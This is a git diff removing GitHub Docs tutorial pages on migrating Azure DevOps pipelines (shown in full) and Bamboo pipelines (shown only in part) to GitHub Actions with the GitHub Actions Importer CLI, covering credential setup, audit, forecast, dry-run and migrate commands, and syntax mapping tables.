-redirect_from: - - /actions/migrating-to-github-actions/automated-migrations ---- - diff --git a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-azure-devops-with-github-actions-importer.md b/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-azure-devops-with-github-actions-importer.md deleted file mode 100644 index 009bb51d3ac5..000000000000 --- a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-azure-devops-with-github-actions-importer.md +++ /dev/null @@ -1,544 +0,0 @@ ---- -title: Migrating from Azure DevOps with GitHub Actions Importer -intro: 'Learn how to use {% data variables.product.prodname_actions_importer %} to automate the migration of your Azure DevOps pipelines to {% data variables.product.prodname_actions %}.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: tutorial -topics: - - Migration - - CI - - CD -shortTitle: Azure DevOps migration -redirect_from: - - /actions/migrating-to-github-actions/automated-migrations/migrating-from-azure-devops-with-github-actions-importer ---- - -[Legal notice](#legal-notice) - -## About migrating from Azure DevOps with GitHub Actions Importer - -The instructions below will guide you through configuring your environment to use {% data variables.product.prodname_actions_importer %} to migrate Azure DevOps pipelines to {% data variables.product.prodname_actions %}. - -### Prerequisites - -* An Azure DevOps account or organization with projects and pipelines that you want to convert to {% data variables.product.prodname_actions %} workflows. -* Access to create an Azure DevOps {% data variables.product.pat_generic %} for your account or organization. -{% data reusables.actions.actions-importer-prerequisites %} - -### Limitations - -There are some limitations when migrating from Azure DevOps to {% data variables.product.prodname_actions %} with {% data variables.product.prodname_actions_importer %}: - -* {% data variables.product.prodname_actions_importer %} requires version 5.0 of the Azure DevOps API, available in either Azure DevOps Services or Azure DevOps Server 2019. Older versions of Azure DevOps Server are not compatible. -* Tasks that are implicitly added to an Azure DevOps pipeline, such as checking out source code, may be added to a {% data variables.product.prodname_actions_importer %} audit as a GUID name. To find the friendly task name for a GUID, you can use the following URL: `https://dev.azure.com/:organization/_apis/distributedtask/tasks/:guid`. - -#### Manual tasks - -Certain Azure DevOps constructs must be migrated manually from Azure DevOps into {% data variables.product.prodname_actions %} configurations. These include: -* Organization, repository, and environment secrets -* Service connections such as OIDC Connect, {% data variables.product.prodname_github_apps %}, and {% data variables.product.pat_generic_plural %} -* Unknown tasks -* Self-hosted agents -* Environments -* Pre-deployment approvals - -For more information on manual migrations, see [AUTOTITLE](/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions). - -#### Unsupported tasks - -{% data variables.product.prodname_actions_importer %} does not support migrating the following tasks: - -* Pre-deployment gates -* Post-deployment gates -* Post-deployment approvals -* Some resource triggers - -## Installing the {% data variables.product.prodname_actions_importer %} CLI extension - -{% data reusables.actions.installing-actions-importer %} - -## Configuring credentials - -The `configure` CLI command is used to set required credentials and options for {% data variables.product.prodname_actions_importer %} when working with Azure DevOps and {% data variables.product.prodname_dotcom %}. - -1. Create a {% data variables.product.prodname_dotcom %} {% data variables.product.pat_v1 %}. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens#creating-a-personal-access-token-classic). - - Your token must have the `workflow` scope. - - After creating the token, copy it and save it in a safe location for later use. -1. Create an Azure DevOps {% data variables.product.pat_generic %}. For more information, see [Use {% data variables.product.pat_generic_plural %}](https://learn.microsoft.com/en-us/azure/devops/organizations/accounts/use-personal-access-tokens-to-authenticate?view=azure-devops&tabs=Windows#create-a-pat) in the Azure DevOps documentation. The token must have the following scopes: - - * Agents Pool: `Read` - * Build: `Read` - * Code: `Read` - * Release: `Read` - * Service Connections: `Read` - * Task Groups: `Read` - * Variable Groups: `Read` - - After creating the token, copy it and save it in a safe location for later use. -1. In your terminal, run the {% data variables.product.prodname_actions_importer %} `configure` CLI command: - - ```shell - gh actions-importer configure - ``` - - The `configure` command will prompt you for the following information: - - * For "Which CI providers are you configuring?", use the arrow keys to select `Azure DevOps`, press <kbd>Space</kbd> to select it, then press <kbd>Enter</kbd>. - * For "{% data variables.product.pat_generic_caps %} for GitHub", enter the value of the {% data variables.product.pat_v1 %} that you created earlier, and press <kbd>Enter</kbd>. - * For "Base url of the GitHub instance", {% ifversion ghes %}enter the URL for {% data variables.location.product_location_enterprise %}, and press <kbd>Enter</kbd>.{% else %}press <kbd>Enter</kbd> to accept the default value (`https://github.com`).{% endif %} - * For "{% data variables.product.pat_generic_caps %} for Azure DevOps", enter the value for the Azure DevOps {% data variables.product.pat_generic %} that you created earlier, and press <kbd>Enter</kbd>. - * For "Base url of the Azure DevOps instance", press <kbd>Enter</kbd> to accept the default value (`https://dev.azure.com`). - * For "Azure DevOps organization name", enter the name for your Azure DevOps organization, and press <kbd>Enter</kbd>. - * For "Azure DevOps project name", enter the name for your Azure DevOps project, and press <kbd>Enter</kbd>. - - An example of the `configure` command is shown below: - - ```shell - $ gh actions-importer configure - ✔ Which CI providers are you configuring?: Azure DevOps - Enter the following values (leave empty to omit): - ✔ {% data variables.product.pat_generic_caps %} for GitHub: *************** - ✔ Base url of the GitHub instance: https://github.com - ✔ {% data variables.product.pat_generic_caps %} for Azure DevOps: *************** - ✔ Base url of the Azure DevOps instance: https://dev.azure.com - ✔ Azure DevOps organization name: :organization - ✔ Azure DevOps project name: :project - Environment variables successfully updated. - ``` - -1. In your terminal, run the {% data variables.product.prodname_actions_importer %} `update` CLI command to connect to the {% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %} and ensure that the container image is updated to the latest version: - - ```shell - gh actions-importer update - ``` - - The output of the command should be similar to below: - - ```shell - Updating ghcr.io/actions-importer/cli:latest... - ghcr.io/actions-importer/cli:latest up-to-date - ``` - -## Perform an audit of Azure DevOps - -You can use the `audit` command to get a high-level view of all projects in an Azure DevOps organization. - -The `audit` command performs the following steps: - -1. Fetches all of the projects defined in an Azure DevOps organization. -1. Converts each pipeline to its equivalent {% data variables.product.prodname_actions %} workflow. -1. Generates a report that summarizes how complete and complex of a migration is possible with {% data variables.product.prodname_actions_importer %}. - -### Running the audit command - -To perform an audit of an Azure DevOps organization, run the following command in your terminal: - -```shell -gh actions-importer audit azure-devops --output-dir tmp/audit -``` - -### Inspecting the audit results - -{% data reusables.actions.gai-inspect-audit %} - -## Forecast potential {% data variables.product.prodname_actions %} usage - -You can use the `forecast` command to forecast potential {% data variables.product.prodname_actions %} usage by computing metrics from completed pipeline runs in Azure DevOps. - -### Running the forecast command - -To perform a forecast of potential {% data variables.product.prodname_actions %} usage, run the following command in your terminal. By default, {% data variables.product.prodname_actions_importer %} includes the previous seven days in the forecast report. - -```shell -gh actions-importer forecast azure-devops --output-dir tmp/forecast_reports -``` - -### Inspecting the forecast report - -The `forecast_report.md` file in the specified output directory contains the results of the forecast. - -Listed below are some key terms that can appear in the forecast report: - -* The **job count** is the total number of completed jobs. -* The **pipeline count** is the number of unique pipelines used. -* **Execution time** describes the amount of time a runner spent on a job. This metric can be used to help plan for the cost of {% data variables.product.prodname_dotcom %}-hosted runners. - - This metric is correlated to how much you should expect to spend in {% data variables.product.prodname_actions %}. This will vary depending on the hardware used for these minutes. You can use the [{% data variables.product.prodname_actions %} pricing calculator](https://github.com/pricing/calculator) to estimate the costs. -* **Queue time** metrics describe the amount of time a job spent waiting for a runner to be available to execute it. -* **Concurrent jobs** metrics describe the amount of jobs running at any given time. This metric can be used to define the number of runners you should configure. - -Additionally, these metrics are defined for each queue of runners in Azure DevOps. This is especially useful if there is a mix of hosted or self-hosted runners, or high or low spec machines, so you can see metrics specific to different types of runners. - -## Perform a dry-run migration - -You can use the `dry-run` command to convert an Azure DevOps pipeline to an equivalent {% data variables.product.prodname_actions %} workflow. A dry run creates the output files in a specified directory, but does not open a pull request to migrate the pipeline. - -{% data reusables.actions.gai-custom-transformers-rec %} - -### Running the dry-run command for a build pipeline - -To perform a dry run of migrating your Azure DevOps build pipeline to {% data variables.product.prodname_actions %}, run the following command in your terminal, replacing `pipeline_id` with the ID of the pipeline you are converting. - -```shell -gh actions-importer dry-run azure-devops pipeline --pipeline-id :pipeline_id --output-dir tmp/dry-run -``` - -You can view the logs of the dry run and the converted workflow files in the specified output directory. - -### Running the dry-run command for a release pipeline - -To perform a dry run of migrating your Azure DevOps release pipeline to {% data variables.product.prodname_actions %}, run the following command in your terminal, replacing `pipeline_id` with the ID of the pipeline you are converting. - -```shell -gh actions-importer dry-run azure-devops release --pipeline-id :pipeline_id --output-dir tmp/dry-run -``` - -You can view the logs of the dry run and the converted workflow files in the specified output directory. - -## Perform a production migration - -You can use the `migrate` command to convert an Azure DevOps pipeline and open a pull request with the equivalent {% data variables.product.prodname_actions %} workflow. - -### Running the migrate command for a build pipeline - -To migrate an Azure DevOps build pipeline to {% data variables.product.prodname_actions %}, run the following command in your terminal, replacing the `target-url` value with the URL for your {% data variables.product.prodname_dotcom %} repository, and `pipeline_id` with the ID of the pipeline you are converting. - -```shell -gh actions-importer migrate azure-devops pipeline --pipeline-id :pipeline_id --target-url https://github.com/octo-org/octo-repo --output-dir tmp/migrate -``` - -The command's output includes the URL of the pull request that adds the converted workflow to your repository. An example of a successful output is similar to the following: - -```shell -$ gh actions-importer migrate azure-devops pipeline --target-url https://github.com/octo-org/octo-repo --output-dir tmp/migrate --azure-devops-project my-azure-devops-project -[2022-08-20 22:08:20] Logs: 'tmp/migrate/log/actions-importer-20220916-014033.log' -[2022-08-20 22:08:20] Pull request: 'https://github.com/octo-org/octo-repo/pull/1' -``` - -### Running the migrate command for a release pipeline - -To migrate an Azure DevOps release pipeline to {% data variables.product.prodname_actions %}, run the following command in your terminal, replacing the `target-url` value with the URL for your {% data variables.product.prodname_dotcom %} repository, and `pipeline_id` with the ID of the pipeline you are converting. - -```shell -gh actions-importer migrate azure-devops release --pipeline-id :pipeline_id --target-url https://github.com/octo-org/octo-repo --output-dir tmp/migrate -``` - -The command's output includes the URL of the pull request that adds the converted workflow to your repository. An example of a successful output is similar to the following: - -```shell -$ gh actions-importer migrate azure-devops release --target-url https://github.com/octo-org/octo-repo --output-dir tmp/migrate --azure-devops-project my-azure-devops-project -[2022-08-20 22:08:20] Logs: 'tmp/migrate/log/actions-importer-20220916-014033.log' -[2022-08-20 22:08:20] Pull request: 'https://github.com/octo-org/octo-repo/pull/1' -``` - -{% data reusables.actions.gai-inspect-pull-request %} - -## Reference - -This section contains reference information on environment variables, optional arguments, and supported syntax when using {% data variables.product.prodname_actions_importer %} to migrate from Azure DevOps. - -### Configuration environment variables - -{% data reusables.actions.gai-config-environment-variables %} - -{% data variables.product.prodname_actions_importer %} uses the following environment variables to connect to your Azure DevOps instance: - -* `GITHUB_ACCESS_TOKEN`: The {% data variables.product.pat_v1 %} used to create pull requests with a converted workflow (requires the `workflow` scope). -* `GITHUB_INSTANCE_URL`: The URL to the target {% data variables.product.prodname_dotcom %} instance (for example, `https://github.com`). -* `AZURE_DEVOPS_ACCESS_TOKEN`: The {% data variables.product.pat_generic %} used to authenticate with your Azure DevOps instance. This token requires the following scopes: - * Build: `Read` - * Agent Pools: `Read` - * Code: `Read` - * Release: `Read` - * Service Connections: `Read` - * Task Groups: `Read` - * Variable Groups: `Read` -* `AZURE_DEVOPS_PROJECT`: The project name or GUID to use when migrating a pipeline. If you'd like to perform an audit on all projects, this is optional. -* `AZURE_DEVOPS_ORGANIZATION`: The organization name of your Azure DevOps instance. -* `AZURE_DEVOPS_INSTANCE_URL`: The URL to the Azure DevOps instance, such as `https://dev.azure.com`. - -These environment variables can be specified in a `.env.local` file that is loaded by {% data variables.product.prodname_actions_importer %} when it is run. - -### Optional arguments - -{% data reusables.actions.gai-optional-arguments-intro %} - -#### `--source-file-path` - -You can use the `--source-file-path` argument with the `forecast`, `dry-run`, or `migrate` subcommands. - -By default, {% data variables.product.prodname_actions_importer %} fetches pipeline contents from source control. The `--source-file-path` argument tells {% data variables.product.prodname_actions_importer %} to use the specified source file path instead. - -For example: - -```shell -gh actions-importer dry-run azure-devops pipeline --output-dir ./output/ --source-file-path ./path/to/azure_devops/pipeline.yml -``` - -#### `--config-file-path` - -You can use the `--config-file-path` argument with the `audit`, `dry-run`, and `migrate` subcommands. - -By default, {% data variables.product.prodname_actions_importer %} fetches pipeline contents from source control. The `--config-file-path` argument tells {% data variables.product.prodname_actions_importer %} to use the specified source files instead. - -The `--config-file-path` argument can also be used to specify which repository a converted reusable workflow or composite action should be migrated to. - -##### Audit example - -In this example, {% data variables.product.prodname_actions_importer %} uses the specified YAML configuration file as the source file to perform an audit. - -```shell -gh actions-importer audit azure-devops pipeline --output-dir ./output/ --config-file-path ./path/to/azure_devops/config.yml -``` - -To audit an Azure DevOps instance using a configuration file, the configuration file must be in the following format and each `repository_slug` must be unique: - -```yaml -source_files: - - repository_slug: azdo-project/1 - path: file.yml - - repository_slug: azdo-project/2 - paths: path.yml -``` - -You can generate the `repository_slug` for a pipeline by combining the Azure DevOps organization name, project name, and the pipeline ID. For example, `my-organization-name/my-project-name/42`. - -##### Dry run example - -In this example, {% data variables.product.prodname_actions_importer %} uses the specified YAML configuration file as the source file to perform a dry run. - -The pipeline is selected by matching the `repository_slug` in the configuration file to the value of the `--azure-devops-organization` and `--azure-devops-project` option. The `path` is then used to pull the specified source file. - -```shell -gh actions-importer dry-run azure-devops pipeline --output-dir ./output/ --config-file-path ./path/to/azure_devops/config.yml -``` - -##### Specify the repository of converted reusable workflows and composite actions - -{% data variables.product.prodname_actions_importer %} uses the YAML file provided to the `--config-file-path` argument to determine the repository that converted reusable workflows and composite actions are migrated to. - -To begin, you should run an audit without the `--config-file-path` argument: - -```shell -gh actions-importer audit azure-devops --output-dir ./output/ -``` - -The output of this command will contain a file named `config.yml` that contains a list of all the reusable workflows and composite actions that were converted by {% data variables.product.prodname_actions_importer %}. For example, the `config.yml` file may have the following contents: - -```yaml -reusable_workflows: - - name: my-reusable-workflow.yml - target_url: https://github.com/octo-org/octo-repo - ref: main - -composite_actions: - - name: my-composite-action.yml - target_url: https://github.com/octo-org/octo-repo - ref: main -``` - -You can use this file to specify which repository and ref a reusable workflow or composite action should be added to. You can then use the `--config-file-path` argument to provide the `config.yml` file to {% data variables.product.prodname_actions_importer %}. For example, you can use this file when running a `migrate` command to open a pull request for each unique repository defined in the config file: - -```shell -gh actions-importer migrate azure-devops pipeline --config-file-path config.yml --target-url https://github.com/my-org/my-repo -``` - -### Supported syntax for Azure DevOps pipelines - -The following table shows the type of properties that {% data variables.product.prodname_actions_importer %} is currently able to convert. - -| Azure Pipelines | {% data variables.product.prodname_actions %} | Status | -| :-------------------- | :------------------------------------ | :------------------ | -| condition | <ul><li>`jobs.<job_id>.if`</li><li>`jobs.<job_id>.steps[*].if`</li></ul> | Supported | -| container | <ul><li>`jobs.<job_id>.container`</li><li>`jobs.<job_id>.name`</li></ul> | Supported | -| continuousIntegration | <ul><li>`on.<push>.<branches>`</li><li>`on.<push>.<tags>`</li><li>`on.<push>.paths`</li></ul> | Supported | -| job | <ul><li>`jobs.<job_id>`</li></ul> | Supported | -| pullRequest | <ul><li>`on.<pull_request>.<branches>`</li><li>`on.<pull_request>.paths`</li></ul> | Supported | -| stage | <ul><li>`jobs`</li></ul> | Supported | -| steps | <ul><li>`jobs.<job_id>.steps`</li></ul> | Supported | -| strategy | <ul><li>`jobs.<job_id>.strategy.fail-fast`</li><li>`jobs.<job_id>.strategy.max-parallel`</li><li>`jobs.<job_id>.strategy.matrix`</li></ul> | Supported | -| timeoutInMinutes | <ul><li>`jobs.<job_id>.timeout-minutes`</li></ul> | Supported | -| variables | <ul><li>`env`</li><li>`jobs.<job_id>.env`</li><li>`jobs.<job_id>.steps.env`</li></ul> | Supported | -| manual deployment | <ul><li>`jobs.<job_id>.environment`</li></ul> | Partially supported | -| pool | <ul><li>`runners`</li><li>`self hosted runners`</li></ul> | Partially supported | -| services | <ul><li>`jobs.<job_id>.services`</li></ul> | Partially supported | -| strategy | <ul><li>`jobs.<job_id>.strategy`</li></ul> | Partially supported | -| triggers | <ul><li>`on`</li></ul> | Partially supported | -| pullRequest | <ul><li>`on.<pull_request>.<tags>`</li></ul> | Unsupported | -| schedules | <ul><li>`on.schedule`</li><li>`on.workflow_run`</li></ul> | Unsupported | -| triggers | <ul><li>`on.<event_name>.types`</li></ul> | Unsupported | - -For more information about supported Azure DevOps tasks, see the [`github/gh-actions-importer` repository](https://github.com/github/gh-actions-importer/blob/main/docs/azure_devops/index.md). - -### Environment variable mapping - -{% data variables.product.prodname_actions_importer %} uses the mapping in the table below to convert default Azure DevOps environment variables to the closest equivalent in {% data variables.product.prodname_actions %}. - -| Azure Pipelines | {% data variables.product.prodname_actions %} | -| :------------------------------------------ | :-------------------------------------------------- | -| {% raw %}`$(Agent.BuildDirectory)`{% endraw %} | {% raw %}`${{ runner.workspace }}`{% endraw %} | -| {% raw %}`$(Agent.HomeDirectory)`{% endraw %} | {% raw %}`${{ env.HOME }}`{% endraw %} | -| {% raw %}`$(Agent.JobName)`{% endraw %} | {% raw %}`${{ github.job }}`{% endraw %} | -| {% raw %}`$(Agent.OS)`{% endraw %} | {% raw %}`${{ runner.os }}`{% endraw %} | -| {% raw %}`$(Agent.ReleaseDirectory)`{% endraw %} | {% raw %}`${{ github.workspace}}`{% endraw %} | -| {% raw %}`$(Agent.RootDirectory)`{% endraw %} | {% raw %}`${{ github.workspace }}`{% endraw %} | -| {% raw %}`$(Agent.ToolsDirectory)`{% endraw %} | {% raw %}`${{ runner.tool_cache }}`{% endraw %} | -| {% raw %}`$(Agent.WorkFolder)`{% endraw %} | {% raw %}`${{ github.workspace }}`{% endraw %} | -| {% raw %}`$(Build.ArtifactStagingDirectory)`{% endraw %} | {% raw %}`${{ runner.temp }}`{% endraw %} | -| {% raw %}`$(Build.BinariesDirectory)`{% endraw %} | {% raw %}`${{ github.workspace }}`{% endraw %} | -| {% raw %}`$(Build.BuildId)`{% endraw %} | {% raw %}`${{ github.run_id }}`{% endraw %} | -| {% raw %}`$(Build.BuildNumber)`{% endraw %} | {% raw %}`${{ github.run_number }}`{% endraw %} | -| {% raw %}`$(Build.DefinitionId)`{% endraw %} | {% raw %}`${{ github.workflow }}`{% endraw %} | -| {% raw %}`$(Build.DefinitionName)`{% endraw %} | {% raw %}`${{ github.workflow }}`{% endraw %} | -| {% raw %}`$(Build.PullRequest.TargetBranch)`{% endraw %} | {% raw %}`${{ github.base_ref }}`{% endraw %} | -| {% raw %}`$(Build.PullRequest.TargetBranch.Name)`{% endraw %} | {% raw %}`${{ github.base_ref }}`{% endraw %} | -| {% raw %}`$(Build.QueuedBy)`{% endraw %} | {% raw %}`${{ github.actor }}`{% endraw %} | -| {% raw %}`$(Build.Reason)`{% endraw %} | {% raw %}`${{ github.event_name }}`{% endraw %} | -| {% raw %}`$(Build.Repository.LocalPath)`{% endraw %} | {% raw %}`${{ github.workspace }}`{% endraw %} | -| {% raw %}`$(Build.Repository.Name)`{% endraw %} | {% raw %}`${{ github.repository }}`{% endraw %} | -| {% raw %}`$(Build.Repository.Provider)`{% endraw %} | {% raw %}`GitHub`{% endraw %} | -| {% raw %}`$(Build.Repository.Uri)`{% endraw %} | {% raw %}`${{ github.server.url }}/${{ github.repository }}`{% endraw %} | -| {% raw %}`$(Build.RequestedFor)`{% endraw %} | {% raw %}`${{ github.actor }}`{% endraw %} | -| {% raw %}`$(Build.SourceBranch)`{% endraw %} | {% raw %}`${{ github.ref }}`{% endraw %} | -| {% raw %}`$(Build.SourceBranchName)`{% endraw %} | {% raw %}`${{ github.ref }}`{% endraw %} | -| {% raw %}`$(Build.SourceVersion)`{% endraw %} | {% raw %}`${{ github.sha }}`{% endraw %} | -| {% raw %}`$(Build.SourcesDirectory)`{% endraw %} | {% raw %}`${{ github.workspace }}`{% endraw %} | -| {% raw %}`$(Build.StagingDirectory)`{% endraw %} | {% raw %}`${{ runner.temp }}`{% endraw %} | -| {% raw %}`$(Pipeline.Workspace)`{% endraw %} | {% raw %}`${{ runner.workspace }}`{% endraw %} | -| {% raw %}`$(Release.DefinitionEnvironmentId)`{% endraw %} | {% raw %}`${{ github.job }}`{% endraw %} | -| {% raw %}`$(Release.DefinitionId)`{% endraw %} | {% raw %}`${{ github.workflow }}`{% endraw %} | -| {% raw %}`$(Release.DefinitionName)`{% endraw %} | {% raw %}`${{ github.workflow }}`{% endraw %} | -| {% raw %}`$(Release.Deployment.RequestedFor)`{% endraw %} | {% raw %}`${{ github.actor }}`{% endraw %} | -| {% raw %}`$(Release.DeploymentID)`{% endraw %} | {% raw %}`${{ github.run_id }}`{% endraw %} | -| {% raw %}`$(Release.EnvironmentId)`{% endraw %} | {% raw %}`${{ github.job }}`{% endraw %} | -| {% raw %}`$(Release.EnvironmentName)`{% endraw %} | {% raw %}`${{ github.job }}`{% endraw %} | -| {% raw %}`$(Release.Reason)`{% endraw %} | {% raw %}`${{ github.event_name }}`{% endraw %} | -| {% raw %}`$(Release.RequestedFor)`{% endraw %} | {% raw %}`${{ github.actor }}`{% endraw %} | -| {% raw %}`$(System.ArtifactsDirectory)`{% endraw %} | {% raw %}`${{ github.workspace }}`{% endraw %} | -| {% raw %}`$(System.DefaultWorkingDirectory)`{% endraw %} | {% raw %}`${{ github.workspace }}`{% endraw %} | -| {% raw %}`$(System.HostType)`{% endraw %} | {% raw %}`build`{% endraw %} | -| {% raw %}`$(System.JobId)`{% endraw %} | {% raw %}`${{ github.job }}`{% endraw %} | -| {% raw %}`$(System.JobName)`{% endraw %} | {% raw %}`${{ github.job }}`{% endraw %} | -| {% raw %}`$(System.PullRequest.PullRequestId)`{% endraw %} | {% raw %}`${{ github.event.number }}`{% endraw %} | -| {% raw %}`$(System.PullRequest.PullRequestNumber)`{% endraw %} | {% raw %}`${{ github.event.number }}`{% endraw %} | -| {% raw %}`$(System.PullRequest.SourceBranch)`{% endraw %} | {% raw %}`${{ github.ref }}`{% endraw %} | -| {% raw %}`$(System.PullRequest.SourceRepositoryUri)`{% endraw %} | {% raw %}`${{ github.server.url }}/${{ github.repository }}`{% endraw %} | -| {% raw %}`$(System.PullRequest.TargetBranch)`{% endraw %} | {% raw %}`${{ github.event.base.ref }}`{% endraw %} | -| {% raw %}`$(System.PullRequest.TargetBranchName)`{% endraw %} | {% raw %}`${{ github.event.base.ref }}`{% endraw %} | -| {% raw %}`$(System.StageAttempt)`{% endraw %} | {% raw %}`${{ github.run_number }}`{% endraw %} | -| {% raw %}`$(System.TeamFoundationCollectionUri)`{% endraw %} | {% raw %}`${{ github.server.url }}/${{ github.repository }}`{% endraw %} | -| {% raw %}`$(System.WorkFolder)`{% endraw %} | {% raw %}`${{ github.workspace }}`{% endraw %} | - -### Templates - -You can transform Azure DevOps templates with {% data variables.product.prodname_actions_importer %}. - -#### Limitations - -{% data variables.product.prodname_actions_importer %} is able to transform Azure DevOps templates with some limitations. - -* Azure DevOps templates used under the `stages`, `deployments`, and `jobs` keys are converted into reusable workflows in {% data variables.product.prodname_actions %}. For more information, see [AUTOTITLE](/actions/using-workflows/reusing-workflows). -* Azure DevOps templates used under the `steps` key are converted into composite actions. For more information, see [AUTOTITLE](/actions/creating-actions/creating-a-composite-action). -* If you currently have job templates that reference other job templates, {% data variables.product.prodname_actions_importer %} converts the templates into reusable workflows. Because reusable workflows cannot reference other reusable workflows, this is invalid syntax in {% data variables.product.prodname_actions %}. You must manually correct nested reusable workflows. -* If a template references an external Azure DevOps organization or {% data variables.product.prodname_dotcom %} repository, you must use the `--credentials-file` option to provide credentials to access this template. For more information, see [AUTOTITLE](/actions/migrating-to-github-actions/automated-migrations/supplemental-arguments-and-settings#using-a-credentials-file-for-authentication). -* You can dynamically generate YAML using `each` expressions with the following caveats: - * Nested `each` blocks are not supported and cause the parent `each` block to be unsupported. - * `each` and contained `if` conditions are evaluated at transformation time, because {% data variables.product.prodname_actions %} does not support this style of insertion. - * `elseif` blocks are unsupported. If this functionality is required, you must manually correct them. - * Nested `if` blocks are supported, but `if/elseif/else` blocks nested under an `if` condition are not. - * `if` blocks that use predefined Azure DevOps variables are not supported. - -#### Supported templates - -{% data variables.product.prodname_actions_importer %} supports the templates listed in the table below. - -| Azure Pipelines | {% data variables.product.prodname_actions %} | Status | -| :---------------------------- | :------------------------------------ | ------------------: | -| Extending from a template | `Reusable workflow` | Supported | -| Job templates | `Reusable workflow` | Supported | -| Stage templates | `Reusable workflow` | Supported | -| Step templates | `Composite action` | Supported | -| Task groups in classic editor | Varies | Supported | -| Templates in a different Azure DevOps organization, project, or repository | Varies | Supported | -| Templates in a {% data variables.product.prodname_dotcom %} repository | Varies | Supported | -| Variable templates | `env` | Supported | -| Conditional insertion | `if` conditions on job/steps | Partially supported | -| Iterative insertion | Not applicable | Partially supported | -| Templates with parameters | Varies | Partially supported | - -#### Template file path names - -{% data variables.product.prodname_actions_importer %} can extract templates with relative or dynamic file paths with variable, parameter, and iterative expressions in the file name. However, there must be a default value set. - -##### Variable file path name example - -```yaml -# File: azure-pipelines.yml -variables: -- template: 'templates/vars.yml' - -steps: -- template: "./templates/${{ variables.one }}" -``` - -```yaml -# File: templates/vars.yml -variables: - one: 'simple_step.yml' -``` - -##### Parameter file path name example - -```yaml -parameters: -- name: template - type: string - default: simple_step.yml - -steps: -- template: "./templates/{% raw %}${{ parameters.template }}{% endraw %}" -``` - -##### Iterative file path name example - -```yaml -parameters: -- name: steps - type: object - default: - - build_step - - release_step -steps: -- {% raw %}${{ each step in parameters.steps }}{% endraw %}: - - template: "${{ step }}-variables.yml" -``` - -#### Template parameters - -{% data variables.product.prodname_actions_importer %} supports the parameters listed in the table below. - -| Azure Pipelines | {% data variables.product.prodname_actions %} | Status | -| :-------------------- | :----------------------------------------- | :------------------- | -| string | `inputs.string` | Supported | -| number | `inputs.number` | Supported | -| boolean | `inputs.boolean` | Supported | -| object | `inputs.string` with `fromJSON` expression | Partially supported | -| step | `step` | Partially supported | -| stepList | `step` | Partially supported | -| job | `job` | Partially supported | -| jobList | `job` | Partially supported | -| deployment | `job` | Partially supported | -| deploymentList | `job` | Partially supported | -| stage | `job` | Partially supported | -| stageList | `job` | Partially supported | - -> [!NOTE] -> A template used under the `step` key with this parameter type is only serialized as a composite action if the steps are used at the beginning or end of the template steps. A template used under the `stage`, `deployment`, and `job` keys with this parameter type are not transformed into a reusable workflow, and instead are serialized as a standalone workflow. - -## Legal notice - -{% data reusables.actions.actions-importer-legal-notice %} diff --git a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-bamboo-with-github-actions-importer.md b/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-bamboo-with-github-actions-importer.md deleted file mode 100644 index 8fcfd87957f8..000000000000 --- a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-bamboo-with-github-actions-importer.md +++ /dev/null @@ -1,383 +0,0 @@ ---- -title: Migrating from Bamboo with GitHub Actions Importer -intro: 'Learn how to use {% data variables.product.prodname_actions_importer %} to automate the migration of your Bamboo pipelines to {% data variables.product.prodname_actions %}.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: tutorial -topics: - - Migration - - CI - - CD -shortTitle: Bamboo migration -redirect_from: - - /actions/migrating-to-github-actions/automated-migrations/migrating-from-bamboo-with-github-actions-importer ---- - -[Legal notice](#legal-notice) - -## About migrating from Bamboo with GitHub Actions Importer - -The instructions below will guide you through configuring your environment to use {% data variables.product.prodname_actions_importer %} to migrate Bamboo pipelines to {% data variables.product.prodname_actions %}. - -### Prerequisites - -* A Bamboo account or organization with projects and pipelines that you want to convert to {% data variables.product.prodname_actions %} workflows. -* Bamboo version of 7.1.1 or greater. -* Access to create a Bamboo {% data variables.product.pat_generic %} for your account or organization. -{% data reusables.actions.actions-importer-prerequisites %} - -### Limitations - -There are some limitations when migrating from Bamboo to {% data variables.product.prodname_actions %} with {% data variables.product.prodname_actions_importer %}: - -* {% data variables.product.prodname_actions_importer %} relies on the YAML specification generated by the Bamboo Server to perform migrations. When Bamboo does not support exporting something to YAML, the missing information is not migrated. -* Trigger conditions are unsupported. When {% data variables.product.prodname_actions_importer %} encounters a trigger with a condition, the condition is surfaced as a comment and the trigger is transformed without it. -* Bamboo Plans with customized settings for storing artifacts are not transformed. Instead, artifacts are stored and retrieved using the [`upload-artifact`](https://github.com/actions/upload-artifact) and [`download-artifact`](https://github.com/actions/download-artifact) actions. -* Disabled plans must be disabled manually in the GitHub UI. For more information, see [AUTOTITLE](/actions/using-workflows/disabling-and-enabling-a-workflow). -* Disabled jobs are transformed with a `if: false` condition which prevents it from running. You must remove this to re-enable the job. -* Disabled tasks are not transformed because they are not included in the exported plan when using the Bamboo API. -* Bamboo provides options to clean up build workspaces after a build is complete. These are not transformed because it is assumed GitHub-hosted runners or ephemeral self-hosted runners will automatically handle this. -* The hanging build detection options are not transformed because there is no equivalent in {% data variables.product.prodname_actions %}. The closest option is `timeout-minutes` on a job, which can be used to set the maximum number of minutes to let a job run. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idtimeout-minutes). -* Pattern match labeling is not transformed because there is no equivalent in {% data variables.product.prodname_actions %}. -* All artifacts are transformed into an `actions/upload-artifact`, regardless of whether they are `shared` or not, so they can be downloaded from any job in the workflow. -* Permissions are not transformed because there is no suitable equivalent in {% data variables.product.prodname_actions %}. -* If the Bamboo version is between 7.1.1 and 8.1.1, project and plan variables will not be migrated. - -#### Manual tasks - -Certain Bamboo constructs must be migrated manually. These include: - -* Masked variables -* Artifact expiry settings - -## Installing the {% data variables.product.prodname_actions_importer %} CLI extension - -{% data reusables.actions.installing-actions-importer %} - -## Configuring credentials - -The `configure` CLI command is used to set required credentials and options for {% data variables.product.prodname_actions_importer %} when working with Bamboo and {% data variables.product.prodname_dotcom %}. - -1. Create a {% 